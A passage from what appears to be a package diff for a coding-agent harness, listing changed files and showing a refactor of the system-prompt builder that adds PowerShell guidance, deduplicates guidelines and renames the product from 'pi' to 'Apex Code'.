  547. package/dist/modes/interactive/components/footer.d.ts +23 -1
  548. package/dist/modes/interactive/components/footer.d.ts.map +1 -1
  549. package/dist/modes/interactive/components/footer.js +182 -21
  550. package/dist/modes/interactive/components/footer.js.map +1 -1
  551. package/dist/modes/interactive/components/index.d.ts +2 -0
  552. package/dist/modes/interactive/components/index.d.ts.map +1 -1
  553. package/dist/modes/interactive/components/index.js +2 -0
  554. package/dist/modes/interactive/components/index.js.map +1 -1
  555. package/dist/modes/interactive/components/model-selector.d.ts +31 -9
  556. package/dist/modes/interactive/components/model-selector.d.ts.map +1 -1
  557. package/dist/modes/interactive/components/model-selector.js +236 -96
  558. package/dist/modes/interactive/components/model-selector.js.map +1 -1
  559. package/dist/modes/interactive/components/settings-selector.d.ts +25 -5
  560. package/dist/modes/interactive/components/settings-selector.d.ts.map +1 -1
  561. package/dist/modes/interactive/components/settings-selector.js +226 -58
  562. package/dist/modes/interactive/components/settings-selector.js.map +1 -1
  563. package/dist/modes/interactive/components/settings-submenu.d.ts +72 -0
  564. package/dist/modes/interactive/components/settings-submenu.d.ts.map +1 -0
  565. package/dist/modes/interactive/components/settings-submenu.js +165 -0
  566. package/dist/modes/interactive/components/settings-submenu.js.map +1 -0
  567. package/dist/modes/interactive/components/splash-header.d.ts +66 -0
  568. package/dist/modes/interactive/components/splash-header.d.ts.map +1 -0
  569. package/dist/modes/interactive/components/splash-header.js +180 -0
  570. package/dist/modes/interactive/components/splash-header.js.map +1 -0
  571. package/dist/modes/interactive/components/thinking-selector.d.ts +15 -3
  572. package/dist/modes/interactive/components/thinking-selector.d.ts.map +1 -1
  573. package/dist/modes/interactive/components/thinking-selector.js +74 -17
  574. package/dist/modes/interactive/components/thinking-selector.js.map +1 -1
  575. package/dist/modes/interactive/components/tool-execution.d.ts +16 -1
  576. package/dist/modes/interactive/components/tool-execution.d.ts.map +1 -1
  577. package/dist/modes/interactive/components/tool-execution.js +113 -35
  578. package/dist/modes/interactive/components/tool-execution.js.map +1 -1
  579. package/dist/modes/interactive/components/tool-panel.d.ts +30 -0
  580. package/dist/modes/interactive/components/tool-panel.d.ts.map +1 -0
  581. package/dist/modes/interactive/components/tool-panel.js +130 -0
  582. package/dist/modes/interactive/components/tool-panel.js.map +1 -0
  583. package/dist/modes/interactive/external-editor.d.ts.map +1 -1
  584. package/dist/modes/interactive/external-editor.js +60 -10
  585. package/dist/modes/interactive/external-editor.js.map +1 -1
  586. package/dist/modes/interactive/interactive-mode.d.ts +61 -5
  587. package/dist/modes/interactive/interactive-mode.d.ts.map +1 -1
  588. package/dist/modes/interactive/interactive-mode.js +642 -203
  589. package/dist/modes/interactive/interactive-mode.js.map +1 -1
  590. package/dist/modes/interactive/model-catalog-refresh.d.ts +7 -0
  591. package/dist/modes/interactive/model-catalog-refresh.d.ts.map +1 -0
  592. package/dist/modes/interactive/model-catalog-refresh.js +34 -0
  593. package/dist/modes/interactive/model-catalog-refresh.js.map +1 -0
  594. package/dist/modes/interactive/theme/apex.json +93 -0
  595. package/dist/modes/interactive/theme/dark.json +2 -0
  596. package/dist/modes/interactive/theme/light.json +3 -1
  597. package/dist/modes/interactive/theme/theme-controller.d.ts +10 -2
  598. package/dist/modes/interactive/theme/theme-controller.d.ts.map +1 -1
  599. package/dist/modes/interactive/theme/theme-controller.js +25 -11
  600. package/dist/modes/interactive/theme/theme-controller.js.map +1 -1
  601. package/dist/modes/interactive/theme/theme-schema.json +11 -3
  602. package/dist/modes/interactive/theme/theme.d.ts +14 -3
  603. package/dist/modes/interactive/theme/theme.d.ts.map +1 -1
  604. package/dist/modes/interactive/theme/theme.js +65 -10
  605. package/dist/modes/interactive/theme/theme.js.map +1 -1
  606. package/dist/modes/json-event.d.ts +18 -12
  607. package/dist/modes/json-event.d.ts.map +1 -1
  608. package/dist/modes/json-event.js +22 -5
  609. package/dist/modes/json-event.js.map +1 -1
  610. package/dist/modes/rpc/rpc-mode.d.ts.map +1 -1
  611. package/dist/modes/rpc/rpc-mode.js +2 -1
  612. package/dist/modes/rpc/rpc-mode.js.map +1 -1
  613. package/dist/package-manager-cli.d.ts +1 -0
  614. package/dist/package-manager-cli.d.ts.map +1 -1
  615. package/dist/package-manager-cli.js +211 -14
  616. package/dist/package-manager-cli.js.map +1 -1
  617. package/dist/rpc-entry.d.ts.map +1 -1
  618. package/dist/rpc-entry.js +2 -1
  619. package/dist/rpc-entry.js.map +1 -1
  620. package/dist/server/create-harness.d.ts +1 -1
  621. package/dist/server/create-harness.d.ts.map +1 -1
  622. package/dist/server/create-harness.js +8 -5
  623. package/dist/server/create-harness.js.map +1 -1
  624. package/dist/testing/replay/metrics.d.ts +24 -0
  625. package/dist/testing/replay/metrics.d.ts.map +1 -0
  626. package/dist/testing/replay/metrics.js +35 -0
  627. package/dist/testing/replay/metrics.js.map +1 -0
  628. package/dist/testing/replay/recorded-provider.d.ts +10 -0
  629. package/dist/testing/replay/recorded-provider.d.ts.map +1 -0
  630. package/dist/testing/replay/recorded-provider.js +108 -0
  631. package/dist/testing/replay/recorded-provider.js.map +1 -0
  632. package/dist/testing/replay/runner.d.ts +56 -0
  633. package/dist/testing/replay/runner.d.ts.map +1 -0
  634. package/dist/testing/replay/runner.js +406 -0
  635. package/dist/testing/replay/runner.js.map +1 -0
  636. package/dist/themes/apex-logo.d.ts +41 -0
  637. package/dist/themes/apex-logo.d.ts.map +1 -0
  638. package/dist/themes/apex-logo.js +35 -0
  639. package/dist/themes/apex-logo.js.map +1 -0
  640. package/dist/utils/apex-code-user-agent.d.ts +2 -0
  641. package/dist/utils/apex-code-user-agent.d.ts.map +1 -0
  642. package/dist/utils/apex-code-user-agent.js +5 -0
  643. package/dist/utils/apex-code-user-agent.js.map +1 -0
  644. package/dist/utils/changelog.d.ts +7 -2
  645. package/dist/utils/changelog.d.ts.map +1 -1
  646. package/dist/utils/changelog.js +82 -13
  647. package/dist/utils/changelog.js.map +1 -1
  648. package/dist/utils/clipboard-image.d.ts.map +1 -1
  649. package/dist/utils/clipboard-image.js +1 -1
  650. package/dist/utils/clipboard-image.js.map +1 -1
  651. package/dist/utils/frontmatter.d.ts.map +1 -1
  652. package/dist/utils/frontmatter.js +2 -1
  653. package/dist/utils/frontmatter.js.map +1 -1
  654. package/dist/utils/management-http.d.ts +5 -3
  655. package/dist/utils/management-http.d.ts.map +1 -1
  656. package/dist/utils/management-http.js +14 -10
  657. package/dist/utils/management-http.js.map +1 -1
  658. package/dist/utils/shell.d.ts +3 -0
  659. package/dist/utils/shell.d.ts.map +1 -1
  660. package/dist/utils/shell.js +17 -5
  661. package/dist/utils/shell.js.map +1 -1
  662. package/dist/utils/syntax-highlight.d.ts +1 -0
  663. package/dist/utils/syntax-highlight.d.ts.map +1 -1
  664. package/dist/utils/syntax-highlight.js +60 -1
  665. package/dist/utils/syntax-highlight.js.map +1 -1
  666. package/dist/utils/text.d.ts +8 -0
  667. package/dist/utils/text.d.ts.map +1 -0
  668. package/dist/utils/text.js +9 -0
  669. package/dist/utils/text.js.map +1 -0
  670. package/dist/utils/tools-manager.d.ts +70 -2
  671. package/dist/utils/tools-manager.d.ts.map +1 -1
  672. package/dist/utils/tools-manager.js +280 -124
  673. package/dist/utils/tools-manager.js.map +1 -1
  674. package/dist/utils/version-check.d.ts +7 -5
  675. package/dist/utils/version-check.d.ts.map +1 -1
  676. package/dist/utils/version-check.js +25 -14
  677. package/dist/utils/version-check.js.map +1 -1
  678. package/dist/utils/windows-self-update.d.ts.map +1 -1
  679. package/dist/utils/windows-self-update.js +1 -1
  680. package/dist/utils/windows-self-update.js.map +1 -1
  681. package/docs/compaction.md +39 -24
  682. package/docs/containerization.md +24 -21
  683. package/docs/custom-provider.md +15 -12
  684. package/docs/development.md +11 -11
  685. package/docs/environment-variables.md +37 -77
  686. package/docs/extensions.md +68 -54
  687. package/docs/index.md +12 -24
  688. package/docs/json.md +18 -11
  689. package/docs/keybindings.md +18 -12
  690. package/docs/llama-cpp.md +9 -7
  691. package/docs/models.md +17 -11
  692. package/docs/packages.md +47 -43
  693. package/docs/prompt-templates.md +3 -3
  694. package/docs/providers.md +10 -10
  695. package/docs/quickstart.md +49 -32
  696. package/docs/rpc.md +35 -18
  697. package/docs/sdk.md +20 -6
  698. package/docs/security.md +18 -18
  699. package/docs/session-format.md +9 -9
  700. package/docs/sessions.md +13 -13
  701. package/docs/settings.md +83 -16
  702. package/docs/shell-aliases.md +1 -1
  703. package/docs/skills.md +66 -15
  704. package/docs/terminal-setup.md +44 -19
  705. package/docs/termux.md +4 -4
  706. package/docs/themes.md +32 -11
  707. package/docs/tmux.md +4 -4
  708. package/docs/tui.md +5 -5
  709. package/docs/usage.md +61 -53
  710. package/docs/windows.md +24 -2
  711. package/examples/extensions/border-status-editor.ts +1 -1
  712. package/examples/extensions/custom-provider-anthropic/package-lock.json +2 -2
  713. package/examples/extensions/custom-provider-anthropic/package.json +2 -2
  714. package/examples/extensions/custom-provider-gitlab-duo/package.json +1 -1
  715. package/examples/extensions/git-checkpoint.ts +2 -2
  716. package/examples/extensions/gondolin/package-lock.json +2 -2
  717. package/examples/extensions/gondolin/package.json +1 -1
  718. package/examples/extensions/notify.ts +3 -1
  719. package/examples/extensions/sandbox/package-lock.json +2 -2
  720. package/examples/extensions/sandbox/package.json +1 -1
  721. package/examples/extensions/subagent/README.md +3 -1
  722. package/examples/extensions/subagent/agents.ts +40 -9
  723. package/examples/extensions/subagent/index.ts +27 -4
  724. package/examples/extensions/titlebar-spinner.ts +1 -1
  725. package/examples/extensions/with-deps/package-lock.json +2 -2
  726. package/examples/extensions/with-deps/package.json +1 -1
  727. package/examples/rpc-extension-ui.ts +1 -1
  728. package/examples/sdk/06-extensions.ts +1 -1
  729. package/examples/sdk/README.md +1 -1
  730. package/npm-shrinkwrap.json +280 -445
  731. package/package.json +9 -12
  732. package/dist/core/telemetry.d.ts +0 -3
  733. package/dist/core/telemetry.d.ts.map +0 -1
  734. package/dist/core/telemetry.js +0 -9
  735. package/dist/core/telemetry.js.map +0 -1
  736. package/dist/utils/pi-user-agent.d.ts +0 -2
  737. package/dist/utils/pi-user-agent.d.ts.map +0 -1
  738. package/dist/utils/pi-user-agent.js +0 -5
  739. package/dist/utils/pi-user-agent.js.map +0 -1
@@ -2,96 +2,88 @@
2
2
  * System prompt construction and project context loading
3
3
  */
4
4
  import { getDocsPath, getExamplesPath, getReadmePath } from "../config.js";
5
- import { formatSkillsForPrompt } from "./skills.js";
5
+ import { formatSkillsForPrompt, SKILL_CATALOG_PREFIX_BUDGET_TOKENS } from "./skills.js";
6
+ function dedupeGuidelines(guidelines) {
7
+ const seen = new Set();
8
+ const result = [];
9
+ for (const guideline of guidelines) {
10
+ const normalized = guideline.trim();
11
+ if (normalized.length === 0 || seen.has(normalized)) {
12
+ continue;
13
+ }
14
+ seen.add(normalized);
15
+ result.push(normalized);
16
+ }
17
+ return result;
18
+ }
6
19
  /** Build the system prompt with tools, guidelines, and context */
7
20
  export function buildSystemPrompt(options) {
8
21
  const { customPrompt, selectedTools, toolSnippets, promptGuidelines, appendSystemPrompt, cwd, contextFiles: providedContextFiles, skills: providedSkills, } = options;
9
22
  const promptCwd = cwd.replace(/\\/g, "/");
10
- const appendSection = appendSystemPrompt ? `\n\n${appendSystemPrompt}` : "";
11
23
  const contextFiles = providedContextFiles ?? [];
12
24
  const skills = providedSkills ?? [];
13
- if (customPrompt) {
14
- let prompt = customPrompt;
15
- if (appendSection) {
16
- prompt += appendSection;
17
- }
18
- // Append project context files
19
- if (contextFiles.length > 0) {
20
- prompt += "\n\n<project_context>\n\n";
21
- prompt += "Project-specific instructions and guidelines:\n\n";
22
- for (const { path: filePath, content } of contextFiles) {
23
- prompt += `<project_instructions path="${filePath}">\n${content}\n</project_instructions>\n\n`;
24
- }
25
- prompt += "</project_context>\n";
26
- }
27
- // Append skills section (only if read tool is available)
28
- const customPromptHasRead = !selectedTools || selectedTools.includes("read");
29
- if (customPromptHasRead && skills.length > 0) {
30
- prompt += formatSkillsForPrompt(skills);
31
- }
32
- prompt += `\nCurrent working directory: ${promptCwd}`;
33
- return prompt;
34
- }
35
- // Get absolute paths to documentation and examples
36
- const readmePath = getReadmePath();
37
- const docsPath = getDocsPath();
38
- const examplesPath = getExamplesPath();
39
- // Build tools list based on selected tools.
40
- // A tool appears in Available tools only when the caller provides a one-line snippet.
41
25
  const tools = selectedTools || ["read", "bash", "edit", "write"];
26
+ const hasRead = tools.includes("read");
27
+ // A tool appears in Available tools only when the caller provides a one-line snippet.
42
28
  const visibleTools = tools.filter((name) => !!toolSnippets?.[name]);
43
- const toolsList = visibleTools.length > 0 ? visibleTools.map((name) => `- ${name}: ${toolSnippets[name]}`).join("\n") : "(none)";
44
- // Build guidelines based on which tools are actually available
45
- const guidelinesList = [];
46
- const guidelinesSet = new Set();
47
- const addGuideline = (guideline) => {
48
- if (guidelinesSet.has(guideline)) {
49
- return;
29
+ const toolsList = visibleTools.map((name) => `- ${name}: ${toolSnippets[name]}`).join("\n");
30
+ // Contributed by the active tools and extensions, so they survive a custom prompt.
31
+ const contributedGuidelines = dedupeGuidelines(promptGuidelines ?? []);
32
+ let prompt;
33
+ if (customPrompt) {
34
+ prompt = customPrompt;
35
+ if (toolsList.length > 0) {
36
+ prompt += `\n\nAvailable tools:\n${toolsList}`;
50
37
  }
51
- guidelinesSet.add(guideline);
52
- guidelinesList.push(guideline);
53
- };
54
- const hasBash = tools.includes("bash");
55
- const hasGrep = tools.includes("grep");
56
- const hasFind = tools.includes("find");
57
- const hasLs = tools.includes("ls");
58
- const hasRead = tools.includes("read");
59
- // File exploration guidelines
60
- if (hasBash && !hasGrep && !hasFind && !hasLs) {
61
- addGuideline("Use bash for file operations like ls, rg, find");
62
- }
63
- for (const guideline of promptGuidelines ?? []) {
64
- const normalized = guideline.trim();
65
- if (normalized.length > 0) {
66
- addGuideline(normalized);
38
+ if (contributedGuidelines.length > 0) {
39
+ prompt += `\n\nGuidelines:\n${contributedGuidelines.map((g) => `- ${g}`).join("\n")}`;
67
40
  }
68
41
  }
69
- // Always include these
70
- addGuideline("Be concise in your responses");
71
- addGuideline("Show file paths clearly when working with files");
72
- const guidelines = guidelinesList.map((g) => `- ${g}`).join("\n");
73
- let prompt = `You are an expert coding assistant operating inside pi, a coding agent harness. You help users by reading files, executing commands, editing code, and writing new files.
42
+ else {
43
+ const hasBash = tools.includes("bash");
44
+ const hasPowerShell = tools.includes("powershell");
45
+ const hasGrep = tools.includes("grep");
46
+ const hasFind = tools.includes("find");
47
+ const hasLs = tools.includes("ls");
48
+ const usesShellForExploration = (hasBash || hasPowerShell) && !hasGrep && !hasFind && !hasLs;
49
+ const shellExplorationGuideline = hasBash && hasPowerShell
50
+ ? "Use bash or PowerShell for file operations like listing, searching, and finding files"
51
+ : hasPowerShell
52
+ ? "Use PowerShell for file operations like listing, searching, and finding files"
53
+ : "Use bash for file operations like ls, rg, find";
54
+ const guidelines = dedupeGuidelines([
55
+ ...(usesShellForExploration ? [shellExplorationGuideline] : []),
56
+ ...contributedGuidelines,
57
+ "Be concise in your responses",
58
+ "Show file paths clearly when working with files",
59
+ ])
60
+ .map((g) => `- ${g}`)
61
+ .join("\n");
62
+ const readmePath = getReadmePath();
63
+ const docsPath = getDocsPath();
64
+ const examplesPath = getExamplesPath();
65
+ prompt = `You are an expert coding assistant operating inside Apex Code, a provider-agnostic coding agent harness. You help users by reading files, executing commands, editing code, and writing new files.
74
66
 
75
67
  Available tools:
76
- ${toolsList}
68
+ ${toolsList.length > 0 ? toolsList : "(none)"}
77
69
 
78
70
  In addition to the tools above, you may have access to other custom tools depending on the project.
79
71
 
80
72
  Guidelines:
81
73
  ${guidelines}
82
74
 
83
- Pi documentation (read only when the user asks about pi itself, its SDK, extensions, themes, skills, or TUI):
75
+ Apex Code documentation (read only when the user asks about Apex Code itself, its SDK, extensions, themes, skills, or TUI):
84
76
  - Main documentation: ${readmePath}
85
77
  - Additional docs: ${docsPath}
86
78
  - Examples: ${examplesPath} (extensions, custom tools, SDK)
87
- - When reading pi docs or examples, resolve docs/... under Additional docs and examples/... under Examples, not the current working directory
79
+ - When reading Apex Code docs or examples, resolve docs/... under Additional docs and examples/... under Examples, not the current working directory
88
80
  - When asked about: extensions (docs/extensions.md, examples/extensions/), themes (docs/themes.md), skills (docs/skills.md), prompt templates (docs/prompt-templates.md), TUI components (docs/tui.md), keybindings (docs/keybindings.md), SDK integrations (docs/sdk.md), custom providers (docs/custom-provider.md), adding models (docs/models.md), pi packages (docs/packages.md), environment variables (docs/environment-variables.md)
89
- - When working on pi topics, read the docs and examples, and follow .md cross-references before implementing
90
- - Always read pi .md files completely and follow links to related docs (e.g., tui.md for TUI API details)`;
91
- if (appendSection) {
92
- prompt += appendSection;
81
+ - When working on Apex Code topics, read the docs and examples, and follow .md cross-references before implementing
82
+ - Always read Apex Code .md files completely and follow links to related docs (e.g., tui.md for TUI API details)`;
83
+ }
84
+ if (appendSystemPrompt) {
85
+ prompt += `\n\n${appendSystemPrompt}`;
93
86
  }
94
- // Append project context files
95
87
  if (contextFiles.length > 0) {
96
88
  prompt += "\n\n<project_context>\n\n";
97
89
  prompt += "Project-specific instructions and guidelines:\n\n";
@@ -100,9 +92,8 @@ Pi documentation (read only when the user asks about pi itself, its SDK, extensi
100
92
  }
101
93
  prompt += "</project_context>\n";
102
94
  }
103
- // Append skills section (only if read tool is available)
104
95
  if (hasRead && skills.length > 0) {
105
- prompt += formatSkillsForPrompt(skills);
96
+ prompt += formatSkillsForPrompt(skills, SKILL_CATALOG_PREFIX_BUDGET_TOKENS);
106
97
  }
107
98
  prompt += `\nCurrent working directory: ${promptCwd}`;
108
99
  return prompt;
@@ -1 +1 @@
1
- {"version":3,"file":"system-prompt.js","sourceRoot":"","sources":["../../src/core/system-prompt.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * System prompt construction and project context loading\n */\n\nimport { getDocsPath, getExamplesPath, getReadmePath } from \"../config.ts\";\nimport { formatSkillsForPrompt, type Skill } from \"./skills.ts\";\n\nexport interface BuildSystemPromptOptions {\n\t/** Custom system prompt (replaces default). */\n\tcustomPrompt?: string;\n\t/** Tools to include in prompt. Default: [read, bash, edit, write] */\n\tselectedTools?: string[];\n\t/** Optional one-line tool snippets keyed by tool name. */\n\ttoolSnippets?: Record<string, string>;\n\t/** Additional guideline bullets appended to the default system prompt guidelines. */\n\tpromptGuidelines?: string[];\n\t/** Text to append to system prompt. */\n\tappendSystemPrompt?: string;\n\t/** Working directory. */\n\tcwd: string;\n\t/** Pre-loaded context files. */\n\tcontextFiles?: Array<{ path: string; content: string }>;\n\t/** Pre-loaded skills. */\n\tskills?: Skill[];\n}\n\n/** Build the system prompt with tools, guidelines, and context */\nexport function buildSystemPrompt(options: BuildSystemPromptOptions): string {\n\tconst {\n\t\tcustomPrompt,\n\t\tselectedTools,\n\t\ttoolSnippets,\n\t\tpromptGuidelines,\n\t\tappendSystemPrompt,\n\t\tcwd,\n\t\tcontextFiles: providedContextFiles,\n\t\tskills: providedSkills,\n\t} = options;\n\tconst promptCwd = cwd.replace(/\\\\/g, \"/\");\n\n\tconst appendSection = appendSystemPrompt ? `\\n\\n${appendSystemPrompt}` : \"\";\n\n\tconst contextFiles = providedContextFiles ?? [];\n\tconst skills = providedSkills ?? [];\n\n\tif (customPrompt) {\n\t\tlet prompt = customPrompt;\n\n\t\tif (appendSection) {\n\t\t\tprompt += appendSection;\n\t\t}\n\n\t\t// Append project context files\n\t\tif (contextFiles.length > 0) {\n\t\t\tprompt += \"\\n\\n<project_context>\\n\\n\";\n\t\t\tprompt += \"Project-specific instructions and guidelines:\\n\\n\";\n\t\t\tfor (const { path: filePath, content } of contextFiles) {\n\t\t\t\tprompt += `<project_instructions path=\"${filePath}\">\\n${content}\\n</project_instructions>\\n\\n`;\n\t\t\t}\n\t\t\tprompt += \"</project_context>\\n\";\n\t\t}\n\n\t\t// Append skills section (only if read tool is available)\n\t\tconst customPromptHasRead = !selectedTools || selectedTools.includes(\"read\");\n\t\tif (customPromptHasRead && skills.length > 0) {\n\t\t\tprompt += formatSkillsForPrompt(skills);\n\t\t}\n\n\t\tprompt += `\\nCurrent working directory: ${promptCwd}`;\n\n\t\treturn prompt;\n\t}\n\n\t// Get absolute paths to documentation and examples\n\tconst readmePath = getReadmePath();\n\tconst docsPath = getDocsPath();\n\tconst examplesPath = getExamplesPath();\n\n\t// Build tools list based on selected tools.\n\t// A tool appears in Available tools only when the caller provides a one-line snippet.\n\tconst tools = selectedTools || [\"read\", \"bash\", \"edit\", \"write\"];\n\tconst visibleTools = tools.filter((name) => !!toolSnippets?.[name]);\n\tconst toolsList =\n\t\tvisibleTools.length > 0 ? visibleTools.map((name) => `- ${name}: ${toolSnippets![name]}`).join(\"\\n\") : \"(none)\";\n\n\t// Build guidelines based on which tools are actually available\n\tconst guidelinesList: string[] = [];\n\tconst guidelinesSet = new Set<string>();\n\tconst addGuideline = (guideline: string): void => {\n\t\tif (guidelinesSet.has(guideline)) {\n\t\t\treturn;\n\t\t}\n\t\tguidelinesSet.add(guideline);\n\t\tguidelinesList.push(guideline);\n\t};\n\n\tconst hasBash = tools.includes(\"bash\");\n\tconst hasGrep = tools.includes(\"grep\");\n\tconst hasFind = tools.includes(\"find\");\n\tconst hasLs = tools.includes(\"ls\");\n\tconst hasRead = tools.includes(\"read\");\n\n\t// File exploration guidelines\n\tif (hasBash && !hasGrep && !hasFind && !hasLs) {\n\t\taddGuideline(\"Use bash for file operations like ls, rg, find\");\n\t}\n\n\tfor (const guideline of promptGuidelines ?? []) {\n\t\tconst normalized = guideline.trim();\n\t\tif (normalized.length > 0) {\n\t\t\taddGuideline(normalized);\n\t\t}\n\t}\n\n\t// Always include these\n\taddGuideline(\"Be concise in your responses\");\n\taddGuideline(\"Show file paths clearly when working with files\");\n\n\tconst guidelines = guidelinesList.map((g) => `- ${g}`).join(\"\\n\");\n\n\tlet prompt = `You are an expert coding assistant operating inside pi, a coding agent harness. You help users by reading files, executing commands, editing code, and writing new files.\n\nAvailable tools:\n${toolsList}\n\nIn addition to the tools above, you may have access to other custom tools depending on the project.\n\nGuidelines:\n${guidelines}\n\nPi documentation (read only when the user asks about pi itself, its SDK, extensions, themes, skills, or TUI):\n- Main documentation: ${readmePath}\n- Additional docs: ${docsPath}\n- Examples: ${examplesPath} (extensions, custom tools, SDK)\n- When reading pi docs or examples, resolve docs/... under Additional docs and examples/... under Examples, not the current working directory\n- When asked about: extensions (docs/extensions.md, examples/extensions/), themes (docs/themes.md), skills (docs/skills.md), prompt templates (docs/prompt-templates.md), TUI components (docs/tui.md), keybindings (docs/keybindings.md), SDK integrations (docs/sdk.md), custom providers (docs/custom-provider.md), adding models (docs/models.md), pi packages (docs/packages.md), environment variables (docs/environment-variables.md)\n- When working on pi topics, read the docs and examples, and follow .md cross-references before implementing\n- Always read pi .md files completely and follow links 